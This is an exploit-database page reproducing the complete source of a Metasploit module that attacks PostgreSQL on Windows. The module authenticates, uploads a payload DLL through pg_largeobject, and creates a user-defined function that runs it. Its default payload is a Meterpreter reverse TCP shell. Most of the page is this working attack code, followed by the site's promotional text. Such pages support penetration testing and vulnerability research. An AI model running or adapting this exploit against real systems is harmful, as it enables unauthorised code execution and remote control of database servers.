Lucene search
+L

PostgreSQL for Microsoft Windows Payload Execution

🗓️ 10 Apr 2009 00:00:00Reported by Bernardo Damele A. G. <[email protected]>, todb <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 56 Views

PostgreSQL Windows Payload Execution via pg_largeobjec

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Postgres
  include Msf::Auxiliary::Report
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::OptionalSession::PostgreSQL

  # Creates an instance of this module.
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'PostgreSQL for Microsoft Windows Payload Execution',
        'Description' => %q{
          On default Microsoft Windows installations of PostgreSQL the postgres
          service account may write to the current directory (which is usually
          "C:\Program Files\PostgreSQL\<version>\data" where <version> is the
          major.minor version of PostgreSQL). UDF DLL's may be sourced from
          there as well.

          This module uploads a Windows DLL file via the pg_largeobject method
          of binary injection and creates a UDF (user defined function) from
          that DLL. Because the payload is run from DllMain, it does not need to
          conform to specific Postgres API versions.
        },
        'Author' => [
          'Bernardo Damele A. G. <bernardo.damele[at]gmail.com>', # the postgresql udf libraries
          'todb' # this Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'URL', 'https://web.archive.org/web/20100803002909/http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql' ], # A litte more specific to PostgreSQL
        ],
        'Platform' => 'win',
        'Targets' => [
          [
            'Windows x86',
            {
              'Arch' => ARCH_X86,
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
              }
            }
          ],
          [
            'Windows x64',
            {
              'Arch' => ARCH_X64,
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
              }
            }
          ],
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2009-04-10',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      ) # Date of Bernardo's BH Europe paper.
    )

    deregister_options('SQL', 'RETURN_ROWSET')
  end

  def check
    version = postgres_fingerprint

    if version[:auth]
      print_good "Authentication successful. Version: #{version}"
      return CheckCode::Appears("Authenticated successfully; PostgreSQL version: #{version[:auth]}") # WRITE permission needs to be proven to get Vulnerable
    else
      print_error "Authentication failed. #{version[:preauth] || version[:unknown]}"
      return CheckCode::Safe('PostgreSQL authentication failed')
    end
  end

  def exploit
    self.postgres_conn = session.client if session
    version = do_login(username, password, database)
    case version
    when :noauth; print_error "Authentication failed"; return
    when :noconn; print_error "Connection failed"; return
    else
      print_status("#{postgres_conn.peerhost}:#{postgres_conn.peerport} - #{version}")
    end

    fname = "#{Rex::Text.rand_text_alpha(8)}.dll"
    register_files_for_cleanup(fname)

    unless postgres_upload_binary_data(generate_payload_dll, fname)
      print_error "Could not upload the UDF DLL"
      return
    end

    print_status "Uploaded as #{fname}"
    begin
      func_name = Rex::Text.rand_text_alpha(10)
      postgres_query(
        "create or replace function pg_temp.#{func_name}()" +
        " returns void as '#{fname}','#{func_name}'" +
        " language c strict immutable"
      )
    rescue RuntimeError => e
      print_error "Failed to create UDF function: #{e.class}: #{e}"
    end
    postgres_logout if @postgres_conn && session.blank?
  end

  # Authenticate to the postgres server.
  #
  # Returns the version from #postgres_fingerprint
  def do_login(user = nil, pass = nil, database = nil)
    begin
      password = pass || postgres_password
      vprint_status("Trying #{user}:#{password}@#{Rex::Socket.to_authority(rhost, rport)}/#{database}") unless self.postgres_conn
      result = postgres_fingerprint(
        :db => database,
        :username => user,
        :password => password
      )
      if result[:auth]
        report_service(
          :host => postgres_conn.peerhost,
          :port => postgres_conn.peerport,
          :name => "postgres",
          :info => result.values.first
        )
        return result[:auth]
      else
        print_error("Login failed, fingerprint is #{result[:preauth] || result[:unknown]}")
        return :noauth
      end
    rescue Rex::ConnectionError, Rex::Post::Meterpreter::RequestError
      return :noconn
    end
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation